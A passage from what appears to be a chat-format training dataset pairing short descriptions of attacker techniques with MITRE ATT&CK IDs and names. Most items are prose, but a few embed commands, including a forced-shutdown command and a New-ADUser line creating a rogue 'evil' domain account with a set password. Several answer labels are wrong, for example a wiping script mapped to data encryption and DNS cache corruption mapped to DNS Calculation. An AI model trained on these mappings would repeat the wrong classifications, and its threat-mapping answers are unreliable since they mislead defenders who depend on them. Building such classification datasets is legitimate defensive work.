                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs code signing certificates to make their payload appear legitimate to security solutions."
            },
            {
                "role": "assistant",
                "content": "T1553 - Subvert Trust Controls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtain a user's web application credentials via phishing and use them to authenticate to the victim's cloud service dashboard."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a data‑wiping script that targets shared network drives at peak hours."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known vulnerability in a Linux kernel module, crashing the host and denying legitimate users access."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups exploit a vulnerable container runtime to deploy a malicious image that executes a PowerShell Empire agent."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a recursive scan of C:\\Users to collect personal files for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the malware to embed exfiltrated data into legitimate FTP traffic, uploading files to an unauthorized FTP server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the system's UEFI firmware to execute malicious code before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a personalized message with a short URL pointing to a fake login page to steal employee credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed a persistent service that runs with SYSTEM privileges each boot, using the Service Control Manager API."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages an open‑source WHOIS lookup tool to collect email contact information for domain owners."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app requests excessive permissions on TikTok, harvesting session tokens and allowing the attacker to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code hooks the LsaLogonUser function to retrieve authentication credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script stops the antivirus real-time scanning process using taskkill."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests data from publicly exposed corporate websites, including staff directories and press releases, to build a target profile."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the group conducts a passive network sniffing operation to capture traffic and infer network architecture."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware alters the KernelCallbackTable structures to point to its own payload, allowing execution with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a privilege escalation vulnerability to delete security policies."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes stolen credentials with a custom Base64 alphabet to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a new entry to the 'Startup' registry key under HKLM to run with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abused DHCP to assign rogue DNS server addresses to clients."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a compromised printer's USB port to dump network screenshots onto a USB thumb drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures Emond to launch a reverse shell whenever a specific file is created in the system directory."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of installed software from the Windows Registry keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deployed a Python script that leveraged the ctypes library to inject code into processes."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary registers a new trusted device to the victim's Microsoft 365 account, allowing persistent access even after password changes."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious printer port monitor is installed that loads a back‑door DLL each time a print job is processed, providing persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic Data Exchange is used to retrieve credential data from a legitimate process and pipe it to the malicious component."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set queried the organization’s network file share for CSV files that listed privileged account credentials."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group installs a malicious Netsh helper DLL that is loaded by the netsh process, allowing the execution of a second-stage payload whenever network settings are modified."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell's Get-WmiObject Win32_Product to discover software packages on the target."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages compromised credentials to assign the \"AdministratorAccess\" role to a previously limited AWS IAM user."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host runs a batch file that aggregates credential dumps into C:\\temp\\staged_creds.txt before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in a shared DLL that is later loaded by the victim's application."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages credential API hooking to monitor and log calls to the Kerberos authentication functions."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the browser's local storage and cookies to gather browsing history and saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the Windows loader's module list via direct memory writes, the malware ensures its payload DLL is loaded during the next module enumeration of the victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used stolen service account credentials to modify the DNS zone for the corporate domain."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary corrupts the system's DNS cache entries to redirect traffic and hide C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators download a backdoored container from Docker Hub and execute it on the target's Linux server to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies the Gmail offline cache stored in the Chrome user profile for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised admin account to edit the WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1 file, inserting code that runs on profile load."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script extracts trust information from the `msDS-TrustAttributes` attribute in Active Directory objects."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing user credentials, the attacker logs into Outlook Web Access and downloads the victim's mail folders to exfiltrate sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disguises data exfiltration by wrapping it in seemingly innocuous LDAP queries."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a scheduled task that runs \"shutdown /s /t 0\" to shut down all endpoints during business hours."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages zero-day vulnerabilities in commonly used software libraries to develop undetectable privilege escalation exploits."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets a malicious payload as the debugger for the Windows Update executable via IFEO, causing the payload to execute whenever the update process is triggered."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the Windows API GetPasswordPolicyInfo to collect password expiration and reuse rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection chain includes a stage that downloads a DLL, loads it with LoadLibrary, and dynamically resolves the function addresses for WinExec and Sleep."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host is instructed to execute \"cat /etc/os-release\" and \"uname -a\" to gather Linux distribution and kernel version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator leveraged PowerShell's Get-ADComputer cmdlet to enumerate all domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code that invokes 'service stop' commands to halt critical services like DHCP and DNS."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the built-in VNC service on macOS to gain remote access after phishing a user for their admin password."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing agent encrypts its command payloads with a hard‑coded Blowfish key before transmission."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder accesses a breached Elasticsearch cluster to extract audit logs that reveal privileged user activity."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit vulnerable smart TVs to enroll them into a botnet, later using the devices to conduct large-scale credential harvesting operations."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool is used to spawn a new domain account that is added to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an open-source DNS passive database, the adversary gathers information about domain aliases and redirects employed by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder posted a LinkedIn profile using the HR manager’s photo and name to solicit sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses containerd's GRPC API to pause and resume containers for stealth."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the company's website, LinkedIn, and employee badge photos to discover the physical address of its main data center."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised USB-C charging cable that, when connected, automatically installs a cryptominer on the target laptop."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs PowerShell's Invoke-Command to execute 'net share' on multiple endpoints to gather share information."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor modifies kernel parameters to suppress interrupt signals, allowing its process to stay active despite user attempts to stop it."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the victim's public key to encrypt stolen files before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that shuts down and deletes compute instances across multiple GCP zones."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By dumping the contents of securityd's process memory, the threat actor retrieves stored credentials for use in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal obtains an expired but still trusted code signing certificate from a defunct software vendor and uses it to sign a new piece of malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a compiled HTML Help file to launch a covert script through mshta.exe, thereby proxying the execution through a trusted Windows component."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the /proc directory on a Linux host to list all process IDs and their associated executables."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a remote PowerShell session, the adversary runs \"New-ADUser -Name 'evil' -SamAccountName 'evil' -AccountPassword (ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force) -Enabled $true -Path 'OU=Users,DC=example,DC=com'\" to add a domain user."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a hidden .vbs script in the user's Startup folder which runs when the user signs in."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious payloads into the flash storage of IoT device firmware, enabling remote control."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant uses sandbox evasion techniques to detect and evade analysis within virtualized environments."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a third‑party build tool allowed the attacker to embed malicious scripts into the final binaries distributed to end users worldwide."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
